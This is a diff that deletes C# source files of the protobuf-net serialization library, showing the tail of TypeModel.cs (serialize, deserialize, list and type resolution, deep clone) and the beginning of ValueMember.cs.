protocol-buffer representation of the given instance to the supplied stream, - /// with a length-prefix. This is useful for socket programming, - /// as DeserializeWithLengthPrefix can be used to read the single object back - /// from an ongoing stream. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// How to encode the length prefix. - /// The destination stream to write to. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - /// Additional information about this serialization operation. - public void SerializeWithLengthPrefix(Stream dest, object value, Type type, PrefixStyle style, int fieldNumber, - SerializationContext context) - { - if (type == null) - { - if (value == null) throw new ArgumentNullException("value"); - type = MapType(value.GetType()); - } - int key = GetKey(ref type); - using (ProtoWriter writer = new ProtoWriter(dest, this, context)) - { - switch (style) - { - case PrefixStyle.None: - Serialize(key, value, writer); - break; - case PrefixStyle.Base128: - case PrefixStyle.Fixed32: - case PrefixStyle.Fixed32BigEndian: - ProtoWriter.WriteObject(value, key, writer, style, fieldNumber); - break; - default: - throw new ArgumentOutOfRangeException("style"); - } - writer.Close(); - } - } - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// The type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object Deserialize(Stream source, object value, System.Type type) - { - return Deserialize(source, value, type, null); - } - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// The type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - /// Additional information about this serialization operation. - public object Deserialize(Stream source, object value, System.Type type, SerializationContext context) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - bool autoCreate = PrepareDeserialize(value, ref type); - ProtoReader reader = null; - try - { - reader = ProtoReader.Create(source, this, context, ProtoReader.TO_EOF); - if (value != null) reader.SetRootObject(value); - object obj = DeserializeCore(reader, type, value, autoCreate); - reader.CheckFullyConsumed(); - return obj; - } - finally - { - ProtoReader.Recycle(reader); - } -#endif - } - - private bool PrepareDeserialize(object value, ref Type type) - { - if (type == null) - { - if (value == null) - { - throw new ArgumentNullException("type"); - } - else - { - type = MapType(value.GetType()); - } - } - bool autoCreate = true; -#if !NO_GENERICS - Type underlyingType = Helpers.GetUnderlyingType(type); - if (underlyingType != null) - { - type = underlyingType; - autoCreate = false; - } -#endif - return autoCreate; - } - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// The type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The number of bytes to consume. - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object Deserialize(Stream source, object value, System.Type type, int length) - { - return Deserialize(source, value, type, length, null); - } - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// The type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The number of bytes to consume (or -1 to read to the end of the stream). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - /// Additional information about this serialization operation. - public object Deserialize(Stream source, object value, System.Type type, int length, - SerializationContext context) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - bool autoCreate = PrepareDeserialize(value, ref type); - ProtoReader reader = null; - try - { - reader = ProtoReader.Create(source, this, context, length); - if (value != null) reader.SetRootObject(value); - object obj = DeserializeCore(reader, type, value, autoCreate); - reader.CheckFullyConsumed(); - return obj; - } - finally - { - ProtoReader.Recycle(reader); - } -#endif - } - - /// - /// Applies a protocol-buffer reader to an existing instance (which may be null). - /// - /// The type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The reader to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object Deserialize(ProtoReader source, object value, System.Type type) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (source == null) throw new ArgumentNullException("source"); - bool autoCreate = PrepareDeserialize(value, ref type); - if (value != null) source.SetRootObject(value); - object obj = DeserializeCore(source, type, value, autoCreate); - source.CheckFullyConsumed(); - return obj; -#endif - } - -#if !FEAT_IKVM - private object DeserializeCore(ProtoReader reader, Type type, object value, bool noAutoCreate) - { - int key = GetKey(ref type); - if (key >= 0 && !Helpers.IsEnum(type)) - { - return Deserialize(key, value, reader); - } - // this returns true to say we actively found something, but a value is assigned either way (or throws) - TryDeserializeAuxiliaryType(reader, DataFormat.Default, Serializer.ListItemTag, type, ref value, true, false, - noAutoCreate, false); - return value; - } -#endif -#if WINRT - private static readonly System.Reflection.TypeInfo ilist = typeof(IList).GetTypeInfo(); -#else - private static readonly System.Type ilist = typeof (IList); -#endif - - internal static MethodInfo ResolveListAdd(TypeModel model, Type listType, Type itemType, out bool isList) - { -#if WINRT - TypeInfo listTypeInfo = listType.GetTypeInfo(); -#else - Type listTypeInfo = listType; -#endif - isList = model.MapType(ilist).IsAssignableFrom(listTypeInfo); - - Type[] types = {itemType}; - MethodInfo add = Helpers.GetInstanceMethod(listTypeInfo, "Add", types); - -#if !NO_GENERICS - if (add == null) - { - // fallback: look for ICollection's Add(typedObject) method - - bool forceList = listTypeInfo.IsInterface && - listTypeInfo == - model.MapType(typeof (System.Collections.Generic.IEnumerable<>)).MakeGenericType(types) -#if WINRT - .GetTypeInfo() -#endif - ; - -#if WINRT - TypeInfo constuctedListType = typeof(System.Collections.Generic.ICollection<>).MakeGenericType(types).GetTypeInfo(); -#else - Type constuctedListType = - model.MapType(typeof (System.Collections.Generic.ICollection<>)).MakeGenericType(types); -#endif - if (forceList || constuctedListType.IsAssignableFrom(listTypeInfo)) - { - add = Helpers.GetInstanceMethod(constuctedListType, "Add", types); - } - } - - if (add == null) - { -#if WINRT - foreach (Type tmpType in listTypeInfo.ImplementedInterfaces) -#else - foreach (Type interfaceType in listTypeInfo.GetInterfaces()) -#endif - { -#if WINRT - TypeInfo interfaceType = tmpType.GetTypeInfo(); -#endif - if (interfaceType.Name == "IProducerConsumerCollection`1" && interfaceType.IsGenericType && - interfaceType.GetGenericTypeDefinition().FullName == - "System.Collections.Concurrent.IProducerConsumerCollection`1") - { - add = Helpers.GetInstanceMethod(interfaceType, "TryAdd", types); - if (add != null) break; - } - } - } -#endif - - if (add == null) - { - // fallback: look for a public list.Add(object) method - types[0] = model.MapType(typeof (object)); - add = Helpers.GetInstanceMethod(listTypeInfo, "Add", types); - } - if (add == null && isList) - { - // fallback: look for IList's Add(object) method - add = Helpers.GetInstanceMethod(model.MapType(ilist), "Add", types); - } - return add; - } - - internal static Type GetListItemType(TypeModel model, Type listType) - { - Helpers.DebugAssert(listType != null); - -#if WINRT - TypeInfo listTypeInfo = listType.GetTypeInfo(); - if (listType == typeof(string) || listType.IsArray - || !typeof(IEnumerable).GetTypeInfo().IsAssignableFrom(listTypeInfo)) return null; -#else - if (listType == model.MapType(typeof (string)) || listType.IsArray - || !model.MapType(typeof (IEnumerable)).IsAssignableFrom(listType)) return null; -#endif - - BasicList candidates = new BasicList(); -#if WINRT - foreach (MethodInfo method in listType.GetRuntimeMethods()) -#else - foreach (MethodInfo method in listType.GetMethods()) -#endif - { - if (method.IsStatic || method.Name != "Add") continue; - ParameterInfo[] parameters = method.GetParameters(); - Type paramType; - if (parameters.Length == 1 && !candidates.Contains(paramType = parameters[0].ParameterType)) - { - candidates.Add(paramType); - } - } - - string name = listType.Name; - bool isQueueStack = name != null && (name.IndexOf("Queue") >= 0 || name.IndexOf("Stack") >= 0); -#if !NO_GENERICS - if (!isQueueStack) - { - TestEnumerableListPatterns(model, candidates, listType); -#if WINRT - foreach (Type iType in listTypeInfo.ImplementedInterfaces) - { - TestEnumerableListPatterns(model, candidates, iType); - } -#else - foreach (Type iType in listType.GetInterfaces()) - { - TestEnumerableListPatterns(model, candidates, iType); - } -#endif - } -#endif - -#if WINRT - // more convenient GetProperty overload not supported on all platforms - foreach (PropertyInfo indexer in listType.GetRuntimeProperties()) - { - if (indexer.Name != "Item" || candidates.Contains(indexer.PropertyType)) continue; - ParameterInfo[] args = indexer.GetIndexParameters(); - if (args.Length != 1 || args[0].ParameterType != typeof(int)) continue; - MethodInfo getter = indexer.GetMethod; - if (getter == null || getter.IsStatic) continue; - candidates.Add(indexer.PropertyType); - } -#else - // more convenient GetProperty overload not supported on all platforms - foreach ( - PropertyInfo indexer in - listType.GetProperties(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic)) - { - if (indexer.Name != "Item" || candidates.Contains(indexer.PropertyType)) continue; - ParameterInfo[] args = indexer.GetIndexParameters(); - if (args.Length != 1 || args[0].ParameterType != model.MapType(typeof (int))) continue; - candidates.Add(indexer.PropertyType); - } -#endif - - switch (candidates.Count) - { - case 0: - return null; - case 1: - return (Type) candidates[0]; - case 2: - if (CheckDictionaryAccessors(model, (Type) candidates[0], (Type) candidates[1])) - return (Type) candidates[0]; - if (CheckDictionaryAccessors(model, (Type) candidates[1], (Type) candidates[0])) - return (Type) candidates[1]; - break; - } - - return null; - } - - private static void TestEnumerableListPatterns(TypeModel model, BasicList candidates, Type iType) - { -#if WINRT - TypeInfo iTypeInfo = iType.GetTypeInfo(); - if (iTypeInfo.IsGenericType) - { - Type typeDef = iTypeInfo.GetGenericTypeDefinition(); - if(typeDef == typeof(System.Collections.Generic.ICollection<>) || typeDef.GetTypeInfo().FullName == "System.Collections.Concurrent.IProducerConsumerCollection`1") - { - - Type[] iTypeArgs = iTypeInfo.GenericTypeArguments; - if (!candidates.Contains(iTypeArgs[0])) - { - candidates.Add(iTypeArgs[0]); - } - } - } -#elif !NO_GENERICS - if (iType.IsGenericType) - { - Type typeDef = iType.GetGenericTypeDefinition(); - if (typeDef == model.MapType(typeof (System.Collections.Generic.IEnumerable<>)) - || typeDef == model.MapType(typeof (System.Collections.Generic.ICollection<>)) - || typeDef.FullName == "System.Collections.Concurrent.IProducerConsumerCollection`1") - { - Type[] iTypeArgs = iType.GetGenericArguments(); - if (!candidates.Contains(iTypeArgs[0])) - { - candidates.Add(iTypeArgs[0]); - } - } - } -#endif - } - - private static bool CheckDictionaryAccessors(TypeModel model, Type pair, Type value) - { -#if NO_GENERICS - return false; -#elif WINRT - TypeInfo finalType = pair.GetTypeInfo(); - return finalType.IsGenericType && finalType.GetGenericTypeDefinition() == typeof(System.Collections.Generic.KeyValuePair<,>) - && finalType.GenericTypeArguments[1] == value; -#else - return pair.IsGenericType && - pair.GetGenericTypeDefinition() == model.MapType(typeof (System.Collections.Generic.KeyValuePair<,>)) - && pair.GetGenericArguments()[1] == value; -#endif - } - -#if !FEAT_IKVM - private bool TryDeserializeList(TypeModel model, ProtoReader reader, DataFormat format, int tag, Type listType, - Type itemType, ref object value) - { - bool isList; - MethodInfo addMethod = TypeModel.ResolveListAdd(model, listType, itemType, out isList); - if (addMethod == null) throw new NotSupportedException("Unknown list variant: " + listType.FullName); - bool found = false; - object nextItem = null; - IList list = value as IList; - object[] args = isList ? null : new object[1]; - BasicList arraySurrogate = listType.IsArray ? new BasicList() : null; - - while (TryDeserializeAuxiliaryType(reader, format, tag, itemType, ref nextItem, true, true, true, true)) - { - found = true; - if (value == null && arraySurrogate == null) - { - value = CreateListInstance(listType, itemType); - list = value as IList; - } - if (list != null) - { - list.Add(nextItem); - } - else if (arraySurrogate != null) - { - arraySurrogate.Add(nextItem); - } - else - { - args[0] = nextItem; - addMethod.Invoke(value, args); - } - nextItem = null; - } - if (arraySurrogate != null) - { - Array newArray; - if (value != null) - { - if (arraySurrogate.Count == 0) - { - // we'll stay with what we had, thanks - } - else - { - Array existing = (Array) value; - newArray = Array.CreateInstance(itemType, existing.Length + arraySurrogate.Count); - Array.Copy(existing, newArray, existing.Length); - arraySurrogate.CopyTo(newArray, existing.Length); - value = newArray; - } - } - else - { - newArray = Array.CreateInstance(itemType, arraySurrogate.Count); - arraySurrogate.CopyTo(newArray, 0); - value = newArray; - } - } - return found; - } - - private static object CreateListInstance(Type listType, Type itemType) - { - Type concreteListType = listType; - - if (listType.IsArray) - { - return Array.CreateInstance(itemType, 0); - } - -#if WINRT - TypeInfo listTypeInfo = listType.GetTypeInfo(); - if (!listTypeInfo.IsClass || listTypeInfo.IsAbstract || - Helpers.GetConstructor(listTypeInfo, Helpers.EmptyTypes, true) == null) -#else - if (!listType.IsClass || listType.IsAbstract || - Helpers.GetConstructor(listType, Helpers.EmptyTypes, true) == null) -#endif - { - string fullName; - bool handled = false; -#if WINRT - if (listTypeInfo.IsInterface && -#else - if (listType.IsInterface && -#endif - (fullName = listType.FullName) != null && fullName.IndexOf("Dictionary") >= 0) - // have to try to be frugal here... - { -#if !NO_GENERICS -#if WINRT - TypeInfo finalType = listType.GetTypeInfo(); - if (finalType.IsGenericType && finalType.GetGenericTypeDefinition() == typeof(System.Collections.Generic.IDictionary<,>)) - { - Type[] genericTypes = listType.GenericTypeArguments; - concreteListType = typeof(System.Collections.Generic.Dictionary<,>).MakeGenericType(genericTypes); - handled = true; - } -#else - if (listType.IsGenericType && - listType.GetGenericTypeDefinition() == typeof (System.Collections.Generic.IDictionary<,>)) - { - Type[] genericTypes = listType.GetGenericArguments(); - concreteListType = - typeof (System.Collections.Generic.Dictionary<,>).MakeGenericType(genericTypes); - handled = true; - } -#endif -#endif -#if !SILVERLIGHT && !WINRT && !PORTABLE - if (!handled && listType == typeof (IDictionary)) - { - concreteListType = typeof (Hashtable); - handled = true; - } -#endif - } -#if !NO_GENERICS - if (!handled) - { - concreteListType = typeof (System.Collections.Generic.List<>).MakeGenericType(itemType); - handled = true; - } -#endif - -#if !SILVERLIGHT && !WINRT && !PORTABLE - if (!handled) - { - concreteListType = typeof (ArrayList); - handled = true; - } -#endif - } - return Activator.CreateInstance(concreteListType); - } - - /// - /// This is the more "complete" version of Deserialize, which handles single instances of mapped types. - /// The value is read as a complete field, including field-header and (for sub-objects) a - /// length-prefix..kmc - /// - /// In addition to that, this provides support for: - /// - basic values; individual int / string / Guid / etc - /// - IList sets of any type handled by TryDeserializeAuxiliaryType - /// - internal bool TryDeserializeAuxiliaryType(ProtoReader reader, DataFormat format, int tag, Type type, - ref object value, bool skipOtherFields, bool asListItem, bool autoCreate, bool insideList) - { - if (type == null) throw new ArgumentNullException("type"); - Type itemType = null; - ProtoTypeCode typecode = Helpers.GetTypeCode(type); - int modelKey; - WireType wiretype = GetWireType(typecode, format, ref type, out modelKey); - - bool found = false; - if (wiretype == WireType.None) - { - itemType = GetListItemType(this, type); - if (itemType == null && type.IsArray && type.GetArrayRank() == 1 && type != typeof (byte[])) - { - itemType = type.GetElementType(); - } - if (itemType != null) - { - if (insideList) throw TypeModel.CreateNestedListsNotSupported(); - found = TryDeserializeList(this, reader, format, tag, type, itemType, ref value); - if (!found && autoCreate) - { - value = CreateListInstance(type, itemType); - } - return found; - } - - // otherwise, not a happy bunny... - ThrowUnexpectedType(type); - } - - // to treat correctly, should read all values - - while (true) - { - // for convenience (re complex exit conditions), additional exit test here: - // if we've got the value, are only looking for one, and we aren't a list - then exit - if (found && asListItem) break; - - - // read the next item - int fieldNumber = reader.ReadFieldHeader(); - if (fieldNumber <= 0) break; - if (fieldNumber != tag) - { - if (skipOtherFields) - { - reader.SkipField(); - continue; - } - throw ProtoReader.AddErrorData(new InvalidOperationException( - "Expected field " + tag.ToString() + ", but found " + fieldNumber.ToString()), reader); - } - found = true; - reader.Hint(wiretype); // handle signed data etc - - if (modelKey >= 0) - { - switch (wiretype) - { - case WireType.String: - case WireType.StartGroup: - SubItemToken token = ProtoReader.StartSubItem(reader); - value = Deserialize(modelKey, value, reader); - ProtoReader.EndSubItem(token, reader); - continue; - default: - value = Deserialize(modelKey, value, reader); - continue; - } - } - switch (typecode) - { - case ProtoTypeCode.Int16: - value = reader.ReadInt16(); - continue; - case ProtoTypeCode.Int32: - value = reader.ReadInt32(); - continue; - case ProtoTypeCode.Int64: - value = reader.ReadInt64(); - continue; - case ProtoTypeCode.UInt16: - value = reader.ReadUInt16(); - continue; - case ProtoTypeCode.UInt32: - value = reader.ReadUInt32(); - continue; - case ProtoTypeCode.UInt64: - value = reader.ReadUInt64(); - continue; - case ProtoTypeCode.Boolean: - value = reader.ReadBoolean(); - continue; - case ProtoTypeCode.SByte: - value = reader.ReadSByte(); - continue; - case ProtoTypeCode.Byte: - value = reader.ReadByte(); - continue; - case ProtoTypeCode.Char: - value = (char) reader.ReadUInt16(); - continue; - case ProtoTypeCode.Double: - value = reader.ReadDouble(); - continue; - case ProtoTypeCode.Single: - value = reader.ReadSingle(); - continue; - case ProtoTypeCode.DateTime: - value = BclHelpers.ReadDateTime(reader); - continue; - case ProtoTypeCode.Decimal: - value = BclHelpers.ReadDecimal(reader); - continue; - case ProtoTypeCode.String: - value = reader.ReadString(); - continue; - case ProtoTypeCode.ByteArray: - value = ProtoReader.AppendBytes((byte[]) value, reader); - continue; - case ProtoTypeCode.TimeSpan: - value = BclHelpers.ReadTimeSpan(reader); - continue; - case ProtoTypeCode.Guid: - value = BclHelpers.ReadGuid(reader); - continue; - case ProtoTypeCode.Uri: - value = new Uri(reader.ReadString()); - continue; - } - } - if (!found && !asListItem && autoCreate) - { - if (type != typeof (string)) - { - value = Activator.CreateInstance(type); - } - } - return found; - } -#endif - -#if !NO_RUNTIME - /// - /// Creates a new runtime model, to which the caller - /// can add support for a range of types. A model - /// can be used "as is", or can be compiled for - /// optimal performance. - /// - public static RuntimeTypeModel Create() - { - return new RuntimeTypeModel(false); - } -#endif - - /// - /// Applies common proxy scenarios, resolving the actual type to consider - /// - protected internal static Type ResolveProxies(Type type) - { - if (type == null) return null; -#if !NO_GENERICS - if (type.IsGenericParameter) return null; - // Nullable - Type tmp = Helpers.GetUnderlyingType(type); - if (tmp != null) return tmp; -#endif - -#if !(WINRT || CF) - // EF POCO - string fullName = type.FullName; - if (fullName != null && fullName.StartsWith("System.Data.Entity.DynamicProxies.")) return type.BaseType; - - // NHibernate - Type[] interfaces = type.GetInterfaces(); - for (int i = 0; i < interfaces.Length; i++) - { - switch (interfaces[i].FullName) - { - case "NHibernate.Proxy.INHibernateProxy": - case "NHibernate.Proxy.DynamicProxy.IProxy": - case "NHibernate.Intercept.IFieldInterceptorAccessor": - return type.BaseType; - } - } -#endif - return null; - } - - /// - /// Indicates whether the supplied type is explicitly modelled by the model - /// - public bool IsDefined(Type type) - { - return GetKey(ref type) >= 0; - } - - /// - /// Provides the key that represents a given type in the current model. - /// The type is also normalized for proxies at the same time. - /// - protected internal int GetKey(ref Type type) - { - if (type == null) return -1; - int key = GetKeyImpl(type); - if (key < 0) - { - Type normalized = ResolveProxies(type); - if (normalized != null) - { - type = normalized; // hence ref - key = GetKeyImpl(type); - } - } - return key; - } - - /// - /// Provides the key that represents a given type in the current model. - /// - protected abstract int GetKeyImpl(Type type); - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// Represents the type (including inheritance) to consider. - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - protected internal abstract void Serialize(int key, object value, ProtoWriter dest); - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// Represents the type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - protected internal abstract object Deserialize(int key, object value, ProtoReader source); - - //internal ProtoSerializer Create(IProtoSerializer head) - //{ - // return new RuntimeSerializer(head, this); - //} - //internal ProtoSerializer Compile - - /// - /// Indicates the type of callback to be used - /// - protected internal enum CallbackType - { - /// - /// Invoked before an object is serialized - /// - BeforeSerialize, - - /// - /// Invoked after an object is serialized - /// - AfterSerialize, - - /// - /// Invoked before an object is deserialized (or when a new instance is created) - /// - BeforeDeserialize, - - /// - /// Invoked after an object is deserialized - /// - AfterDeserialize - } - - /// - /// Create a deep clone of the supplied instance; any sub-items are also cloned. - /// - public object DeepClone(object value) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (value == null) return null; - Type type = value.GetType(); - int key = GetKey(ref type); - - if (key >= 0 && !Helpers.IsEnum(type)) - { - using (MemoryStream ms = new MemoryStream()) - { - using (ProtoWriter writer = new ProtoWriter(ms, this, null)) - { - writer.SetRootObject(value); - Serialize(key, value, writer); - writer.Close(); - } - ms.Position = 0; - ProtoReader reader = null; - try - { - reader = ProtoReader.Create(ms, this, null, ProtoReader.TO_EOF); - return Deserialize(key, null, reader); - } - finally - { - ProtoReader.Recycle(reader); - } - } - } - int modelKey; - if (type == typeof (byte[])) - { - byte[] orig = (byte[]) value, clone = new byte[orig.Length]; - Helpers.BlockCopy(orig, 0, clone, 0, orig.Length); - return clone; - } - else if (GetWireType(Helpers.GetTypeCode(type), DataFormat.Default, ref type, out modelKey) != WireType.None && - modelKey < 0) - { - // immutable; just return the original value - return value; - } - using (MemoryStream ms = new MemoryStream()) - { - using (ProtoWriter writer = new ProtoWriter(ms, this, null)) - { - if ( - !TrySerializeAuxiliaryType(writer, type, DataFormat.Default, Serializer.ListItemTag, value, - false)) ThrowUnexpectedType(type); - writer.Close(); - } - ms.Position = 0; - ProtoReader reader = null; - try - { - reader = ProtoReader.Create(ms, this, null, ProtoReader.TO_EOF); - value = null; // start from scratch! - TryDeserializeAuxiliaryType(reader, DataFormat.Default, Serializer.ListItemTag, type, ref value, - true, false, true, false); - return value; - } - finally - { - ProtoReader.Recycle(reader); - } - } -#endif - } - - /// - /// Indicates that while an inheritance tree exists, the exact type encountered was not - /// specified in that hierarchy and cannot be processed. - /// - protected internal static void ThrowUnexpectedSubtype(Type expected, Type actual) - { - if (expected != TypeModel.ResolveProxies(actual)) - { - throw new InvalidOperationException("Unexpected sub-type: " + actual.FullName); - } - } - - /// - /// Indicates that the given type was not expected, and cannot be processed. - /// - protected internal static void ThrowUnexpectedType(Type type) - { - string fullName = type == null ? "(unknown)" : type.FullName; -#if !NO_GENERICS && !WINRT - if (type != null) - { - Type baseType = type.BaseType; - if (baseType != null && baseType.IsGenericType && - baseType.GetGenericTypeDefinition().Name == "GeneratedMessage`2") - { - throw new InvalidOperationException( - "Are you mixing protobuf-net and protobuf-csharp-port? See http://stackoverflow.com/q/11564914; type: " + - fullName); - } - } -#endif - throw new InvalidOperationException("Type is not expected, and no contract can be inferred: " + fullName); - } - - internal static Exception CreateNestedListsNotSupported() - { - return new NotSupportedException("Nested or jagged lists and arrays are not supported"); - } - - /// - /// Indicates that the given type cannot be constructed; it may still be possible to - /// deserialize into existing instances. - /// - public static void ThrowCannotCreateInstance(Type type) - { - throw new ProtoException("No parameterless constructor found for " + (type == null ? "(null)" : type.Name)); - } - - internal static string SerializeType(TypeModel model, System.Type type) - { - if (model != null) - { - TypeFormatEventHandler handler = model.DynamicTypeFormatting; - if (handler != null) - { - TypeFormatEventArgs args = new TypeFormatEventArgs(type); - handler(model, args); - if (!Helpers.IsNullOrEmpty(args.FormattedName)) return args.FormattedName; - } - } - return type.AssemblyQualifiedName; - } - - internal static System.Type DeserializeType(TypeModel model, string value) - { - if (model != null) - { - TypeFormatEventHandler handler = model.DynamicTypeFormatting; - if (handler != null) - { - TypeFormatEventArgs args = new TypeFormatEventArgs(value); - handler(model, args); - if (args.Type != null) return args.Type; - } - } - return System.Type.GetType(value); - } - - /// - /// Returns true if the type supplied is either a recognised contract type, - /// or a *list* of a recognised contract type. - /// - /// Note that primitives always return false, even though the engine - /// will, if forced, try to serialize such - /// True if this type is recognised as a serializable entity, else false - public bool CanSerializeContractType(Type type) - { - return CanSerialize(type, false, true, true); - } - - /// - /// Returns true if the type supplied is a basic type with inbuilt handling, - /// a recognised contract type, or a *list* of a basic / contract type. - /// - public bool CanSerialize(Type type) - { - return CanSerialize(type, true, true, true); - } - - /// - /// Returns true if the type supplied is a basic type with inbuilt handling, - /// or a *list* of a basic type with inbuilt handling - /// - public bool CanSerializeBasicType(Type type) - { - return CanSerialize(type, true, false, true); - } - - private bool CanSerialize(Type type, bool allowBasic, bool allowContract, bool allowLists) - { - if (type == null) throw new ArgumentNullException("type"); - Type tmp = Helpers.GetUnderlyingType(type); - if (tmp != null) type = tmp; - - // is it a basic type? - ProtoTypeCode typeCode = Helpers.GetTypeCode(type); - switch (typeCode) - { - case ProtoTypeCode.Empty: - case ProtoTypeCode.Unknown: - break; - default: - return allowBasic; // well-known basic type - } - int modelKey = GetKey(ref type); - if (modelKey >= 0) return allowContract; // known contract type - - // is it a list? - if (allowLists) - { - Type itemType = null; - if (type.IsArray) - { - // note we don't need to exclude byte[], as that is handled by GetTypeCode already - if (type.GetArrayRank() == 1) itemType = type.GetElementType(); - } - else - { - itemType = GetListItemType(this, type); - } - if (itemType != null) return CanSerialize(itemType, allowBasic, allowContract, false); - } - return false; - } - - /// - /// Suggest a .proto definition for the given type - /// - /// The type to generate a .proto definition for, or null to generate a .proto that represents the entire model - /// The .proto definition as a string - public virtual string GetSchema(Type type) - { - throw new NotSupportedException(); - } - - /// - /// Used to provide custom services for writing and parsing type names when using dynamic types. Both parsing and formatting - /// are provided on a single API as it is essential that both are mapped identically at all times. - /// - public event TypeFormatEventHandler DynamicTypeFormatting; - -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - /// - /// Creates a new IFormatter that uses protocol-buffer [de]serialization. - /// - /// A new IFormatter to be used during [de]serialization. - /// The type of object to be [de]deserialized by the formatter. - public System.Runtime.Serialization.IFormatter CreateFormatter(Type type) - { - return new Formatter(this, type); - } - - internal sealed class Formatter : System.Runtime.Serialization.IFormatter - { - private readonly TypeModel model; - private readonly Type type; - internal Formatter(TypeModel model, Type type) - { - if (model == null) throw new ArgumentNullException("model"); - if (type == null) throw new ArgumentNullException("type"); - this.model = model; - this.type = type; - } - private System.Runtime.Serialization.SerializationBinder binder; - public System.Runtime.Serialization.SerializationBinder Binder - { - get { return binder; } - set { binder = value; } - } - - private System.Runtime.Serialization.StreamingContext context; - public System.Runtime.Serialization.StreamingContext Context - { - get { return context; } - set { context = value; } - } - - public object Deserialize(Stream source) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - return model.Deserialize(source, null, type, -1, Context); -#endif - } - - public void Serialize(Stream destination, object graph) - { - model.Serialize(destination, graph, Context); - } - - private System.Runtime.Serialization.ISurrogateSelector surrogateSelector; - public System.Runtime.Serialization.ISurrogateSelector SurrogateSelector - { - get { return surrogateSelector; } - set { surrogateSelector = value; } - } - } -#endif - -#if DEBUG // this is used by some unit tests only, to ensure no buffering when buffering is disabled - private bool forwardsOnly; - - /// - /// If true, buffering of nested objects is disabled - /// - public bool ForwardsOnly - { - get { return forwardsOnly; } - set { forwardsOnly = value; } - } -#endif - - internal virtual Type GetType(string fullName, Assembly context) - { -#if FEAT_IKVM - throw new NotImplementedException(); -#else - return ResolveKnownType(fullName, this, context); -#endif - } - - [System.Runtime.CompilerServices.MethodImpl(System.Runtime.CompilerServices.MethodImplOptions.NoInlining)] - internal static Type ResolveKnownType(string name, TypeModel model, Assembly assembly) - { - if (Helpers.IsNullOrEmpty(name)) return null; - try - { -#if FEAT_IKVM - // looks like a NullReferenceException, but this should call into RuntimeTypeModel's version - Type type = model == null ? null : model.GetType(name, assembly); -#else - Type type = Type.GetType(name); -#endif - if (type != null) return type; - } - catch - { - } - try - { - int i = name.IndexOf(','); - string fullName = (i > 0 ? name.Substring(0, i) : name).Trim(); -#if !(WINRT || FEAT_IKVM) - if (assembly == null) assembly = Assembly.GetCallingAssembly(); -#endif - Type type = assembly == null ? null : assembly.GetType(fullName); - if (type != null) return type; - } - catch - { - } - return null; - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Meta/ValueMember.cs b/Client/Core/ProtoBuf/Meta/ValueMember.cs deleted file mode 100644 index 43755e4e..00000000 --- a/Client/Core/ProtoBuf/Meta/ValueMember.cs +++ /dev/null @@ -1,734 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Serializers; -using System.Globalization; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Meta -{ - /// - /// Represents a member (property/field) that is mapped to a protobuf field - /// - public class ValueMember - { - private readonly int fieldNumber; - - /// - /// The number that identifies this member in a protobuf stream - /// - public int FieldNumber - { - get { return fieldNumber; } - } - - private readonly MemberInfo member; - - /// - /// Gets the member (field/property) which this member relates to. - /// - public MemberInfo Member - { - get { return member; } - } - - private readonly Type parentType, itemType, defaultType, memberType; - private object defaultValue; - - /// - /// Within a list / array / etc, the type of object for each item in the list (especially useful with ArrayList) - /// - public Type ItemType - { - get { return itemType; } - } - - /// - /// The underlying type of the member - /// - public Type MemberType - { - get { return memberType; } - } - - /// - /// For abstract types (IList etc), the type of concrete object to create (if required) - /// - public Type DefaultType - { - get { return defaultType; } - } - - /// - /// The type the defines the member - /// - public Type ParentType - { - get { return parentType; } - } - - /// - /// The default value of the item (members with this value will not be serialized) - /// - public object DefaultValue - { - get { return defaultValue; } - set - { - ThrowIfFrozen(); - defaultValue = value; - } - } - - private readonly RuntimeTypeModel model; - - /// - /// Creates a new ValueMember instance - /// - public ValueMember(RuntimeTypeModel model, Type parentType, int fieldNumber, MemberInfo member, Type memberType, - Type itemType, Type defaultType, DataFormat dataFormat, object defaultValue) - : this(model, fieldNumber, memberType, itemType, defaultType, dataFormat) - { - if (member == null) throw new ArgumentNullException("member"); - if (parentType == null) throw new ArgumentNullException("parentType"); - if (fieldNumber < 1 && !Helpers.IsEnum(parentType)) throw new ArgumentOutOfRangeException("fieldNumber"); - - this.member = member; 